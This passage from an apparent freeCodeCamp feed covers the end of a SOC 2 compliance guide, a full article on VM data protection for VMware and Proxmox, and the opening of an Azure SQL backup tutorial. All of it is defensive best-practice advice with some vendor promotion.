<p>Let me highlight that the first fundamental rule to maintaining compliance is a thorough understanding of the SOC 2 trust service criteria. These are the five key areas that auditors will assess for <a target="_blank" href="https://sprinto.com/blog/soc-2-certification-complete-guide/">SOC 2 certification</a>:</p>
<ol>
<li><p><strong>Security:</strong> Non-intrusive measures of safeguarding the systems from unauthorized access.</p>
</li>
<li><p><strong>Availability:</strong> Make sure systems are deliverable as they have been contracted in service-level agreements.</p>
</li>
<li><p><strong>Processing Integrity:</strong>  System processing must be complete, accurate, and authorized. For example, input validation checks must be implemented to prevent invalid data from entering the system, and automated workflows must be used to ensure that data is processed consistently and accurately.</p>
</li>
<li><p><strong>Confidentiality:</strong> Electronic security covers aspects like how to protect sensitive information.</p>
</li>
<li><p><strong>Privacy:</strong> This covers handling one's data according to the guidelines of existing privacy policies. It focuses on implementing data privacy policies, procedures, and controls to protect individuals' data. For example, organizations should obtain explicit consent from individuals before collecting and using their personal information and provide them with the right to access, correct, or delete their data.</p>
</li>
</ol>
<p>Investing time in creating a relationship between your organization’s policies and procedures and these criteria is crucial. Make sure you and your team do this with your current security plans and policies, and ensure that they regularly comply with the above mentioned standards.</p>
<h3 id="heading-2-implement-strong-access-controls">2. Implement Strong Access Controls</h3>
<p>Poor access control measures are one of the most sure-fire ways to fail to achieve SOC 2 compliance. You’ll need to make sure that users only have access to the necessary information they need in order to work, giving them the fewest possible privileges.</p>
<p>You can achieve this by:</p>
<ul>
<li><p>Implementing multi-factor authentication that must be passed before a user gets access to the organization’s network.</p>
</li>
<li><p>Setting up role-based access control (RBAC).</p>
</li>
<li><p>Reviewing user activity logs to identify and address any suspicious or unauthorized behavior. This helps detect potential security threats and ensure that access controls are followed.</p>
</li>
</ul>
<h3 id="heading-3-continuously-monitor-your-systems">3. Continuously Monitor Your Systems</h3>
<p>SOC 2 is not just a one-time thorough audit – it always follows a set of guidelines. While SOC 2 audits take place annually, you can choose to conduct them more frequently, and also keep in mind the importance of regularly reviewing your security policies. You can also set up periodic internal audits as a litmus test of your safety measures.</p>
<p>But that means you must employ a procedure to monitor the systems regularly in the future. You can set up notifications on any abnormal incidences by using a security information and event management (<a target="_blank" href="https://www.acecloudhosting.com/cyber-security/managed-security-services/siem/">SIEM</a>) system to centralize and analyze security events, system outages, or slow network for adverse effects to the compliance level.</p>
<p>In addition to automated monitoring, you should schedule internal compliance audits from time to time to monitor your company’s compliance.</p>
<p>“We recommend organizations employ tools like vulnerability scanners, web application firewalls and <a target="_blank" href="https://www.getastra.com/blog/security-audit/best-penetration-testing-tools/">penetration testing tools</a> for scanning the organizational infrastructure for possible vulnerabilities,” says <a target="_blank" href="https://www.getastra.com/blog/author/jinsonvarghese/">Jinson</a>, a senior security researcher at Astra Security. These tools assist you in identifying risks beforehand, enabling you to mitigate them before they become major.</p>
<h3 id="heading-4-document-everything">4. Document Everything</h3>
<p>Documentation is one of the main pillars at the core of SOC 2 compliance. A comprehensive set of documents, including processes, security policies, and incident response plans, is essential for demonstrating compliance and providing auditors with the evidence they need.</p>
<p>By maintaining comprehensive documentation, you can ensure compliance with SOC 2 standards and reduce the risk of security breaches.</p>
<p>To keep this manageable:</p>
<ul>
<li><p>Develop a compliance documentation collection center for more efficient retrieval of documents.</p>
</li>
<li><p>Make the documentation as flexible to update as you can, and make it as convenient as possible to share with the right people.</p>
</li>
<li><p>Effectively, document changes made to the system, who requests access to what part of the system, and any security threats.</p>
</li>
</ul>
<h3 id="heading-5-prepare-for-regular-audits">5. Prepare for Regular Audits</h3>
<p>A SOC 2 audit cannot be undertaken using a ‘set it and forget it’ approach. While the initial setup may not paint a pretty picture, you must be ready to remain compliant for annual or regular assessments.</p>
<p>The audit involves interviewing staff members, reviewing your company’s security policies, and thoroughly analyzing how your business complies with SOC 2 requirements through relevant pentesting tools such as <a target="_blank" href="https://www.getastra.com/blog/security-audit/top-dast-tools">DAST tools</a>, which help identify vulnerabilities in real-time within your applications.</p>
<ul>
<li><p>Maintain at least one person or a group conversing with the SOC 2 specifications.</p>
</li>
<li><p>Make sure that all the employees are aware of their responsibilities in helping to keep the business compliant.</p>
</li>
<li><p>Pre-audit checks are a good idea. You conduct an initial check of your organization’s policies which gives you the chance to rectify any problems well before the audit.</p>
</li>
</ul>
<h3 id="heading-6-ensure-vendor-compliance">6. Ensure Vendor Compliance</h3>
<p>Second-party vendors, which your company may engage for various goods or services, are also expected to comply with SOC 2 standards. If you interact with cloud providers, data processors, or any other service that processes your sensitive data, you must ensure they are SOC 2 compliant.</p>
<p>You should require that your vendors share their compliance reports with you, or you can perform assessments of all vendors. This helps ensure that they follow their security measures and do not compromise the ones you hold as paramount.</p>
<h3 id="heading-7-have-an-incident-response-plan">7. Have an Incident Response Plan</h3>
<p>However much you bake security into your daily practices and policies, accidents happen sometimes. That’s why it’s imperative to have a concise and clear <a target="_blank" href="https://www.wiz.io/academy/incident-response-fast-track-guide">incident response</a> plan to help maintain SOC 2 compliance.</p>
<h4 id="heading-security-incident-methods-and-practices-for-protection">Security Incident: Methods and Practices for Protection</h4>
<ul>
<li><p>When an incident occurs, you’ll need to determine which people are responsible for managing the incident.</p>
</li>
<li><p>Make sure you have the steps in place for internal reporting and communicating of breaches, as well as external reporting and communicating of breaches.</p>
</li>
<li><p>Remember, you should conduct frequent tests of the incident response plan and revise it according to the experiences of incidents or audits.</p>
</li>
<li><p>Select the best ransomware protection solution, such as Malwarebytes, or Bitdefender, which prevent ransomware infections and recover encrypted files, or <a target="_blank" href="https://www.nakivo.com/ransomware-protection/">NAKIVO ransomware protection</a>, which I personally use to protect data backups, as this will significantly reduce the risk of data breaches caused by malware or ransomware attacks.</p>
</li>
</ul>
<h3 id="heading-8-employee-training-and-awareness">8. Employee Training and Awareness</h3>
<p>It was seen that no matter how sophisticated your security measures are, they can only be as good as those who operate them. Make <a target="_blank" href="https://www.newsbreak.com/trayalex812-2199316/3617040928294-microsoft-dlp-protecting-your-business-after-recent-outage">data protection procedures</a> a part of the employees' training, including how to report an incident and company regulations. Remind them about phishing scams, passwords, their strength, and other corporate safety policies.</p>
<p>SOC 2 compliance is a conventional course in an organization, and everyone has a part to play. While it assists in general compliance during day-to-day business, it also plays a critical role in ensuring a seamless audit process.</p>
<h2 id="heading-soc-1-vs-soc-2">SOC 1 vs SOC 2</h2>
<p>While both SOC 1 and SOC 2 are frameworks for assessing organizational controls, they focus on different aspects of an organization's operations. SOC 1 primarily focuses on the reliability of financial reporting, assessing an organization's internal controls related to financial information.</p>
<p>SOC 2, on the other hand, is broader in scope. It evaluates an organization's control over security, availability, processing integrity, confidentiality, and privacy. This is particularly important for organizations that handle sensitive customer data.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Feature</strong></td><td><strong>SOC 1</strong></td><td><strong>SOC 2</strong></td></tr>
</thead>
<tbody>
<tr>
<td></td><td></td><td></td></tr>
<tr>
<td><strong>Focus</strong></td><td>Internal controls over financial reporting</td><td>Controls over security, availability, processing integrity, confidentiality, and privacy</td></tr>
<tr>
<td><strong>Audience</strong></td><td>Management, auditors, financial stakeholders</td><td>Management, customers, auditors, and other stakeholders</td></tr>
<tr>
<td><strong>Purpose</strong></td><td>Assure reliable financial information</td><td>Assure data security and operational controls</td></tr>
<tr>
<td><strong>Criteria</strong></td><td>AICPA's SAS No. 18</td><td>Trust Services Principles and Criteria</td></tr>
<tr>
<td><strong>Scope</strong></td><td>Financial reporting controls</td><td>Broader range of security and operational controls</td></tr>
</tbody>
</table>
</div><h2 id="heading-conclusion">Conclusion</h2>
<p>In today’s data-driven world, earning and maintaining SOC 2 compliance is not just a box to tick but a strategic investment in your security and reputation.</p>
<p>Understanding the trust service criteria, controlling access, monitoring systems, and preparing for an audit are critical steps to ensuring your organization passes the SOC 2 check and is protected against data breaches.</p>
<p>This way, the client is protected from inside threats, and the organization actively aligns itself with security compliance.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ VM Data Protection Best Practices: How to Mitigate Risk in a Virtual Environment ]]>
                </title>
                <description>
                    <![CDATA[ Vast amounts of data flow through virtualized environments these days. And that data needs to be protected. So making sure that your virtual machines are secured, along with their associated data, is key for maintaining operational continuity and saf... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/vm-data-protection-best-practices/</link>
                <guid isPermaLink="false">66bf49af410af52542e93140</guid>
                
                    <category>
                        <![CDATA[ Data security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ virtualization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ virtual machine ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Data Protection ]]>
                    </category>
                
                    <category>
                        <![CDATA[ risk management ]]>
                    </category>
                
                    <category>
                        <![CDATA[ proxmox ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vmware ]]>
                    </category>
                
                    <category>
                        <![CDATA[ risk mitigation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Risk Assessment ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vm ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Fri, 16 Aug 2024 12:44:31 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1723559872911/f9953e98-7948-47a0-a054-62028df854b9.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Vast amounts of data flow through virtualized environments these days. And that data needs to be protected. So making sure that your virtual machines are secured, along with their associated data, is key for maintaining operational continuity and safeguarding against cyber threats.</p>
<p>In this guide, you'll learn about VM-specific risks for data and workloads. I'll also provide some recommendations that can help you mitigate them. Implementing these data protection best practices can help you ensure production continuity, data availability, and regulatory compliance for your organization.</p>
<p><strong>Table of Contents</strong></p>
<dl>
<ul>
  <li><a href="#heading-two-of-the-main-players-vmware-and-proxmox">Two of the Main Players: VMWare and Proxmox</a></li>
  <li><a href="#heading-understanding-the-risks-of-virtual-environments">Understanding the Risks of Virtual Environments</a></li>
  <li>
    <a href="#heading-specific-risks-associated-with-virtual-environments">Specific Risks Associated with Virtual Environments</a>
    <ul>
      <li><a href="#heading-hypervisor-security-vulnerabilities">Hypervisor security vulnerabilities</a></li>
      <li><a href="#heading-vm-sprawl">VM sprawl</a></li>
      <li><a href="#heading-insecure-vm-configurations">Insecure VM configurations</a></li>
      <li><a href="#heading-snapshot-and-clone-risks">Snapshot and clone risks</a></li>
    </ul>
  </li>
  <li>
    <a href="#heading-vm-data-protection-and-secure-virtualization-best-practices">VM Data Protection and Secure Virtualization Best Practices</a>
    <ul>
      <li><a href="#heading-secure-the-virtualized-environment">Secure the Virtualized Environment</a></li>
      <li><a href="#heading-backup-and-recovery-strategies">Backup and Recovery Strategies</a></li>
      <li><a href="#heading-monitoring-and-auditing">Monitoring and Auditing</a></li>
    </ul>
  </li>
  <li>
    <a href="#heading-advanced-protection-techniques">Advanced Protection Techniques</a>
    <ul>
      <li><a href="#heading-encryption">Encryption</a></li>
      <li><a href="#heading-intrusion-detection-and-prevention-systems-idps">Intrusion Detection and Prevention Systems (IDPS)</a></li>
      <li><a href="#heading-application-and-network-security">Application and Network Security</a></li>
    </ul>
  </li></ul></dl>

<h2 id="heading-two-of-the-main-players-vmware-and-proxmox">Two of the Main Players: VMWare and Proxmox</h2>
<p>Both VMware and Proxmox offer robust solutions for virtualization, but they come with their own set of challenges and risks that can impact VM data protection.</p>
<p>VMware is the market leader in virtualization <a target="_blank" href="https://www.6sense.com/tech/virtualization/vmware-market-share#:~:text=VMware%20has%20market%20share%20of,ESXi%20with%205.99%25%20market%20share.">with almost 50% of the market share</a>, which is both a boon and a bane.</p>
<p>On the one hand, VMware has a high-end, efficient portfolio of solutions to build IT environments of any complexity and size. On the other, such popularity means that malicious actors know what they can target during cyberattacks, posing challenges in virtualization security for VMware users.</p>
<p>Proxmox, a prominent alternative to VMware, also offers robust virtualization solutions. While Proxmox may have a smaller market share compared to VMware, it provides a comprehensive set of tools for managing virtual environments. It can also be a good choice for those looking for open-source solutions with flexibility and cost-efficiency.</p>
<p>Over three-quarters of organizations that have 50+ workers <a target="_blank" href="https://smartprofile.io/analytics-papers/vmware-far-largest-server-virtualisation-market/">use server virtualization</a>. So it's hard to overestimate the importance of the data that's circulating in their virtualized workloads.</p>
<p>The workloads themselves can be mission-critical and cause global disruption and downtime in case of failures. The data can also be crucial to run efficient services and generate revenue or be subject to compliance requirements.</p>
<h2 id="heading-understanding-the-risks-of-virtual-environments">Understanding the Risks of Virtual Environments</h2>
<p>Before we proceed with VM security best practices, let’s go over some general security issues associated with virtual environments.</p>
<ul>
<li><p><strong>Data breaches</strong> are a regular issue that most IT protection systems experience. A lone hacker or an organized cybercriminal group can intrude into corporate environments to steal data. Their targets are typically clients' personal data, credit card info, credentials, and intellectual property.</p>
</li>
<li><p><strong>Insider threats</strong> are usually the most underrated yet <a target="_blank" href="https://www.ekransystem.com/en/blog/insider-threat-statistics-facts-and-figures">exceptionally dangerous issue</a>. Malicious insiders sneakily strike from the inside of an organization’s security perimeter and may have advanced access privileges. This can lead to a global IT disaster, and preventing it is a high-level challenge.</p>
</li>
<li><p><strong>Malware and ransomware attacks</strong> are an ever-evolving threat for organizations of all sizes and types.</p>
</li>
<li><p><strong>System vulnerabilities and exploits.</strong> The supply chains of today’s IT services can be complicated and consist of multiple synchronized solutions. Every solution involved in service provisioning is a potential source of vulnerabilities that malicious actors can exploit upon discovery.</p>
</li>
</ul>
<h2 id="heading-specific-risks-associated-with-virtual-environments">Specific Risks Associated with Virtual Environments</h2>
<p>Understanding the risks of virtualization – particularly with VMware, one of the most popular virtualization platforms for enterprises, and Proxmox, which has seen increasing adoption in recent times – will help you and your team build an effective data protection system in your virtualized environments.</p>
<p>The unique threats associated with these platforms dictate how you should secure your virtual machines, servers, networks, and other virtualized nodes.</p>
<p>Key factors that can weaken virtualized infrastructure security include:</p>
<h3 id="heading-hypervisor-security-vulnerabilities"><strong>Hypervisor security vulnerabilities</strong></h3>
<ul>
<li><p><strong>VMware</strong>: Because of its extensive use in enterprises, attackers frequently target VMware. Major issues can arise due to the integration and complexity of VMware's hypervisor. The "<a target="_blank" href="https://www.nakivo.com/blog/vmware-esxi-ransomware/?utm_source=Freecodecamp&amp;utm_medium=guest_post&amp;utm_campaign=free_trial">ESXiArgs</a>" ransomware strain takes advantage of VMware vulnerabilities to infiltrate computers before the distribution of updates.</p>
</li>
<li><p><strong>Proxmox</strong>: While this open-source technology does have the potential for hypervisor vulnerabilities, the community can also provide security improvements such as timely patches, vulnerability reports, and enhancements to security protocols. Insufficiently managed upgrades or third-party modules can put Proxmox users at risk of security vulnerabilities.</p>
</li>
</ul>
<h3 id="heading-vm-sprawl"><strong>VM sprawl</strong></h3>
<ul>
<li><p><strong>VMWare:</strong> The ease of deploying VMs in VMware can lead to VM sprawl, where numerous virtual machines are created but not adequately managed. IT teams can create a virtual machine, for example, to test a new feature in an isolated environment before releasing it in production. If not deleted after completing the task, the new virtual machine can remain in an environment without attention, maintenance, or security updates.</p>
</li>
<li><p><strong>Proxmox</strong>: Proxmox's flexibility in managing virtual environments causes VM sprawl, which is more likely to affect smaller teams lacking strong monitoring. Its straightforward interface and streamlined deployment processes help to make creating and managing many virtual machines (VMs) a delight. While this helps with development and testing quickly, it can also cause an influx of virtual machines (VMs) to be launched without proper management or preparation.</p>
</li>
</ul>
<h4 id="heading-insecure-vm-configurations"><strong>Insecure VM configurations</strong></h4>
<ul>
<li><p><strong>VMware</strong>: A VMWare virtual machine itself is a complex environment with multiple configurations and dependencies. Misconfiguration of VMware's resources, operating systems, or applications can lead to additional virtual desktop security risks.</p>
</li>
<li><p><strong>Proxmox</strong>: Users of Proxmox might also face security pitfalls due to misconfigured VMs, especially when utilizing custom templates or third-party integrations. Insufficient security settings can expose services and open ports, enabling unauthorized access.</p>
</li>
</ul>
<h4 id="heading-snapshot-and-clone-risks"><strong>Snapshot and clone risks</strong></h4>
<ul>
<li>Inappropriate VM snapshot retention and maintenance policies in both Proxmox and VMware environments can cause storage overload. Creating too many VM clones can eventually lead to RAM and CPU deficiencies. Insufficiency of hardware resources then causes performance degradation and disk failures, resulting in downtime and data loss.</li>
</ul>
<h2 id="heading-vm-data-protection-and-secure-virtualization-best-practices">VM Data Protection and Secure Virtualization Best Practices</h2>
<p>Data loss in virtualized environments, such as VMWare or Proxmox, can lead to fines, financial losses, and reputational damage for an organization.</p>
<p>Below are some recommendations on how to improve VM data security for virtual nodes, clusters, and infrastructures. The tips cover both virtualization-specific risks and those common to IT security, providing valuable insights for managing data protection effectively in both VMware and Proxmox environments.</p>
<h3 id="heading-secure-the-virtualized-environment">Secure the Virtualized Environment</h3>
<p>For starters, you can strengthen your environment with regular VM security practices. Consider implementing the following:</p>
<h4 id="heading-strong-access-controls-and-authentication-mechanisms"><strong>Strong access controls and authentication mechanisms.</strong></h4>
<p>Role-based access control (RBAC) is an efficient security measure that ensures users have only the access and privileges required to fulfill job duties. With roles set for every employee, their accounts become less dangerous under unauthorized access in case of, for example, compromised credentials.</p>
<p>This can help you either completely counter a security breach attempt or at least significantly mitigate the consequences of a protection failure. Two-factor authentication (2FA) added on top of that purposely complicates the login process, making regular passwords insufficient to hack and exploit an account.</p>
<h4 id="heading-regular-updates-and-patch-management"><strong>Regular updates and patch management</strong></h4>
<p>Set up regular update checks for solutions included in your supply chain. Installing updates and especially security patches on time means that your system closes known vulnerabilities. This reinforces the security perimeter and can protect your environment from random breaches and brute-force attacks, supporting secure virtualization.</p>
<h4 id="heading-network-segmentation-and-isolation"><strong>Network segmentation and isolation</strong></h4>
<p>Combined with external protection reinforcement, segmenting your network using virtual routers, firewalls and switches can be efficient in isolating critical workloads and data from major threats.</p>
<p>A complex internal environment poses an additional challenge for hackers preparing their attacks. Also, if a network scan shows that the infrastructure is ramified and segmented, some bad actors may even conclude that an attack is not worth the effort.</p>
<h3 id="heading-backup-and-recovery-strategies">Backup and Recovery Strategies</h3>
<p>Backups are essential in building an efficient VM data protection system. When all else fails, a backup can help you restore critical data and workloads with little to no downtime.</p>
<p>An efficient VM backup and recovery system includes:</p>
<p><strong>Regular and automated VM backups.</strong> To ensure minimal downtime, you need a backup with a “fresh” recovery point recorded. Given the complexity of even the smallest corporate virtualized environments, only automation and scheduling backups can ensure their regularity.</p>
<p><strong>Offsite and cloud-based backup solutions.</strong> In addition to onsite backups, consider sending data copies to offsite and cloud repositories. This helps you avoid a single point of failure and keep up with the 3-2-1 backup rule.</p>
<p>In case your main infrastructure is down due to a disruption, offsite backups in two different destinations can remain recoverable and accessible.</p>
<p><strong>Disaster recovery planning and testing.</strong> Virtualized environments can include hundreds and thousands of virtual machines, servers and clusters to provide stable and efficient services.</p>
<p>To minimize downtime after global failures, you need to <a target="_blank" href="https://www.nakivo.com/blog/components-disaster-recovery-plan-checklist/">plan disaster recovery</a> (DR) sequences and test them regularly. Set up a scheduled testing workflow to ensure checks.</p>
<p>Also, you might want to conduct disaster recovery testing sessions every time you introduce changes into your main virtualized environment.</p>
<p>Advanced <a target="_blank" href="https://www.cybersecurity-insiders.com/proxmox-backup-by-nakivo-powerful-vm-data-protection/">VM data protection</a> solutions for secure virtualization, such as <a target="_blank" href="https://www.nakivo.com/proxmox-backup/">NAKIVO Backup &amp; Replication</a>, provide the set of features and functions required to implement the above-mentioned VM backup recommendations.</p>
<p>As a regular user of the NAKIVO solution, specifically for protecting virtualized environments, I’ve experienced firsthand the benefits of its robust features. I highly recommend taking advantage of the <a target="_blank" href="https://www.nakivo.com/resources/download/trial-download/?utm_source=Freecodecamp&amp;utm_medium=guest_post&amp;utm_campaign=free_trial">free version</a> of this solution, which is available until the end of 2024.</p>
<h3 id="heading-monitoring-and-auditing">Monitoring and Auditing</h3>
<p>One of the most efficient VM data protection best practices for virtualized environments is to monitor resource usage, VM health, and behavior. This includes the following:</p>
<p><strong>Continuous monitoring of virtualized environments.</strong> Sufficient hardware resources are crucial for production continuity in virtualized environments. You may want to keep track of infrastructures in general and mission-critical VMs in particular. Thus, you can know the current resource consumption and predict scaling needs and budgets to support system stability as your organization grows.</p>
<p><strong>Audit trails and logging.</strong> Audit trails and logging help you get a sequential record of specific activities and data within systems and their components. This includes failed and successful logins, MAC addresses and IPs of involved devices, access locations, data transactions as well as VM and policy changes.</p>
<p><strong>Anomaly detection and response.</strong> With monitoring and logging established and functioning, you can detect anomalies in the behavior of users and VMs, and resource consumption changes within system nodes. With such behavioral data, you can timely react to potential security threats.</p>
<h2 id="heading-advanced-protection-techniques">Advanced Protection Techniques</h2>
<p>Advanced threat protection tips for virtual machines describe techniques related to encryption, intrusion detection and prevention systems, and additional security of applications and networks. Let’s review every technique in detail.</p>
<h3 id="heading-encryption">Encryption</h3>
<p>In a modern IT landscape where any user is able to download and use traffic interception tools, unencrypted data is most likely public data. To enhance your VM data protection for secure virtualization, you can ensure:</p>
<ul>
<li><p><strong>Encrypting data at rest and in transit.</strong> Encrypt data during transmission (in flight) and throughout retention (at rest). Such all-round data encryption enables you to enhance protection from unauthorized access in most situations.</p>
</li>
<li><p><strong>Implementing secure key management.</strong> For additional security, consider setting up an encryption key management system. This includes regular generation, secure exchange, storage and use, timely destruction and replacement of encryption keys.</p>
</li>
</ul>
<h3 id="heading-intrusion-detection-and-prevention-systems-idps">Intrusion Detection and Prevention Systems (IDPS)</h3>
<p>Intrusion detection and prevention systems are designed to scan and monitor networks and automatically take action to counter possible breaches.</p>
<ul>
<li><p><strong>Integrating IDPS with VMs.</strong> IDPS integration is about revealing the key nodes of your virtual environment and installing program “sensors” that track the situation around them. You can then count on software automation to take the first actions to counter possible intrusions as they occur.</p>
</li>
<li><p><strong>Real-time threat detection and response.</strong> Consider developing specialized workflows for responding to intrusions after the IDPS detects them and stops the most obvious malicious activities. Keep in mind that modern cyberattacks can involve a multi-layered series of smaller hits to distract and deceive the defenders.</p>
</li>
</ul>
<h3 id="heading-application-and-network-security">Application and Network Security</h3>
<p>In addition to supply chain control, network segmentation, and isolation, you can make your VM data protection system more reliable with additional app and network security enhancements. For instance, consider the following steps:</p>
<ul>
<li><p><strong>Hardening VM applications.</strong> As apps can become weak links in your protection chain, consider hardening their protection. For example, remove unnecessary components and disable unwanted services that such applications might run. Also, you can set reliable passwords, regular code reviews and role-based access controls within apps.</p>
</li>
<li><p><strong>Implementing firewall and VPN solutions.</strong> These are additional VM data protection best practices that specifically harden networks. External and internal firewalls can prevent unauthorized access to system elements, while VPN connections ensure secure access for authorized users.</p>
</li>
</ul>
<h2 id="heading-future-trends-in-vm-data-protection">Future Trends in VM Data Protection</h2>
<p>The future of secure virtualization mainly depends on the evolution of relevant threats. The popularity of virtualization solutions, such as VMWare and Proxmox, defines the close attention that hackers pay to VM vulnerabilities and specifics.</p>
<p>Malicious actors also shape their ransomware, interception, and intrusion tools to become more dangerous to virtualized IT infrastructure. Sophisticated malware enables deeply customized attacks that exploit the VM security weaknesses of the organization’s infrastructure.</p>
<p>The improvement of AI algorithms can bring additional challenges to the field, making malware spread faster, becoming less detectable, and targeting priority nodes with efficient strikes.</p>
<p>However, the same idea works for VM security best practices. AI-driven cyber defense solutions can help detect and counter specific threats in VM environments with significantly better performance and efficiency.</p>
<p>Advanced VM threat detection based on behavioral analysis throughout the entire infrastructure can help reveal malware earlier. Prevention tools independently reacting to potentially dangerous changes in an environment can enable quick response and counter cyberattacks right after they begin.</p>
<p>Lastly, AI can learn how to enhance protection flexibility and introduce defensive changes in an environment depending on how a cyberattack develops. The boosted speed and variety of <a target="_blank" href="https://www.hostpapa.com/blog/web-hosting/what-small-businesses-need-to-know-about-cybersecurity/">cybersecurity</a> moves then promote virtualized security (and data protection as a whole) to notably higher effectiveness levels.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Thorough VM security is crucial for any organization that's using virtualized IT environments. Consider implementing strong access controls, patch management, network segmentation, monitoring, auditing and app security to counter key threats and mitigate their outcomes.</p>
<p>You might also want to build an advanced <a target="_blank" href="https://www.nakivo.com/blog/proxmox-backup/">Proxmox replication</a> or <a target="_blank" href="https://www.nakivo.com/blog/vmware-backup/">VMware backup</a> system to have a swift data recovery option in case of a breach or system failure.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Back Up and Restore Azure SQL Databases ]]>
                </title>
                <description>
                    <![CDATA[ Microsoft's Azure provides many services via a single cloud, which lets them offer one solution for multiple corporate infrastructures. Development teams often use Azure because they value the opportunity to run SQL databases in the cloud and complet... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-back-up-and-restore-sql-azure-database/</link>
                <guid isPermaLink="false">66ba2f06d8f1b6513f67389b</guid>
                
                    <category>
                        <![CDATA[ Azure ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Backup ]]>
                    </category>
                
                    <category>
                        <![CDATA[ database ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SQL ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Wed, 24 Jan 2024 22:34:09 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/12/maxresdefault.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Microsoft's Azure provides many services via a single cloud, which lets them offer one solution for multiple corporate infrastructures. Development teams often use Azure because they value the opportunity to run SQL databases in the cloud and complete simple operations via the Azure portal. </p>
<p>But you'll need to have a way to back up your data, as it's crucial to ensuring the functionality of the production site and the stability of everyday workflows. So creating Azure SQL backups can help you and your team avoid data loss emergencies and have the shortest possible downtime while maintaining control over the <a target="_blank" href="https://www.hostpapa.com/blog/technology/what-is-an-it-infrastructure/">infrastructure</a>.</p>
<p>Another reason to have a current Azure database backup is Microsoft’s policy. Microsoft uses the shared responsibility model, which makes the user responsible for data integrity and recovery while Microsoft only ensures the availability of its services. Microsoft directly recommends using third-party solutions to create database backups. </p>
<p>In case you run a local SQL Server, you'll need to prepare for the possibility of hardware failures that may result in data loss and downtime. An SQL database on Azure helps mitigate that risk, although it's still prone to human errors or cloud-specific threats like malware. </p>
<p>These and other threats make enabling Azure SQL database backups necessary for any organization using Microsoft’s service to manage and process data. </p>
<p>In this tutorial, you'll learn about backing up Azure databases and restoring your data on demand with native instruments provided by Microsoft, including methods like: </p>
<ul>
<li>Built-in Azure database backup functionality</li>
<li>Cloud archiving</li>
<li>Secondary database and table management</li>
<li>Linked server</li>
<li>Stretch Database</li>
</ul>
<h2 id="heading-why-backup-your-sql-azure-database">Why Backup Your SQL Azure Database?</h2>
<p>Although I covered this briefly in the intro, there are many reasons to back up your SQL Azure database data. </p>
<h3 id="heading-disaster-recovery">Disaster Recovery</h3>
<p>Data centers can be damaged or destroyed by planned cyberattacks, random malware infiltration (<a target="_blank" href="https://www.nakivo.com/blog/how-to-protect-against-ransomware-attacks/">check out this article</a> to discover more on ransomware protection), and natural disasters like floods or hurricanes, among others. Backups can be used to swiftly recover data and restore operations after various disaster cases.</p>
<h3 id="heading-data-loss-prevention">Data Loss Prevention</h3>
<p>Data corruption, hardware failure, and accidental or malicious deletion lead to data loss and can threaten an organization. Backup workflows set up to run regularly mean you can quickly recover the data that was lost or corrupted.</p>
<h3 id="heading-compliance-and-regulations">Compliance and Regulations</h3>
<p>Compliance requirements and legislative regulations can be severe regardless of your organization’s industry. Mostly, laws require you to keep up with security and perform regular backups for compliance.</p>
<h3 id="heading-testing-and-development">Testing and Development</h3>
<p>You can use backups to create Azure database copies for development, troubleshooting, or testing. Thus, you can fix, develop, or improve your organization’s workflows without involving the production environment.</p>
<h2 id="heading-how-to-back-up-your-azure-sql-database">How to Back Up Your Azure SQL Database</h2>
<p>Backing up your Azure SQL database can be challenging if you go through the process without preparation. So that's why I wrote this guide – to help you be prepared. Here's what we'll cover in the following sections:</p>
<ul>
<li>Requirements for SQL Azure database backup</li>
<li>How to configure database backups in Azure with native tools</li>
<li>Cloud archiving</li>
<li>Backup verification and data restoration</li>
</ul>
<h3 id="heading-sql-azure-database-backup-requirements">SQL Azure Database Backup Requirements</h3>
<p>Before backing up your SQL Azure databases, you need to create and configure Azure storage. Before you do that, you'll need to go through the following steps:</p>
<p>First, open the Azure management portal and find <strong>Create a Resource</strong>.</p>
<p>Then, go to <strong>Storage</strong> &gt; <strong>Storage account</strong>. Provide the information, including the location and names of a storage account and resource group according to your preferences. After you enter the information, hit <strong>Next</strong>.</p>
<p><img src="https://lh7-us.googleusercontent.com/TbuVyIRHXKkKd1__mMSo8RJTktZVnJjK2r8ijtY1h5gvlY5KqkRE8NPsej18m-A1-p3UwF-YO0W0p9AzJa8AW7TwR1yXp531y7qXrm84hJQIuTIKUMwhbnU7WAiUoGRPIdL_SrQCv0nxav4RnCu389o" alt="Image" width="800" height="500" loading="lazy">
<em>Storage account config</em></p>
<p>Then go to the advanced section for additional settings. The optimal choice is to set _"_Secure transfer required" as <strong>Enabled</strong> and "Allow access" from <strong>All</strong> networks. For more resilience in case of human error, you can set "Blob soft delete" as <strong>Enabled</strong>. With that setting, you can quickly correct accidental deletions in the storage account.</p>
<p>After that, specify the tags you need to simplify navigating through your infrastructure.</p>
<p><img src="https://lh7-us.googleusercontent.com/BTXJpa8dz9wKa7p9pQm84fmtqtwD5WEuRB9yh2_Htpa-pF86Zf70CuKP7j32uPR56igplljn6fehCuJEgnMkiCiAcZPZVU_FNEL2JZcrtVjunthzLKQOWp9wbtXLLLKMgYTerYNJpsiQxZjJcMlr05I" alt="Image" width="1000" height="563" loading="lazy">
<em>Azure backup storage tags</em></p>
<p>Check the settings once more. If everything is configured correctly, hit <strong>Create</strong>. Your new storage account is now created.</p>
<p>Once the storage volume is created, it's time to configure a backup data storage container. </p>
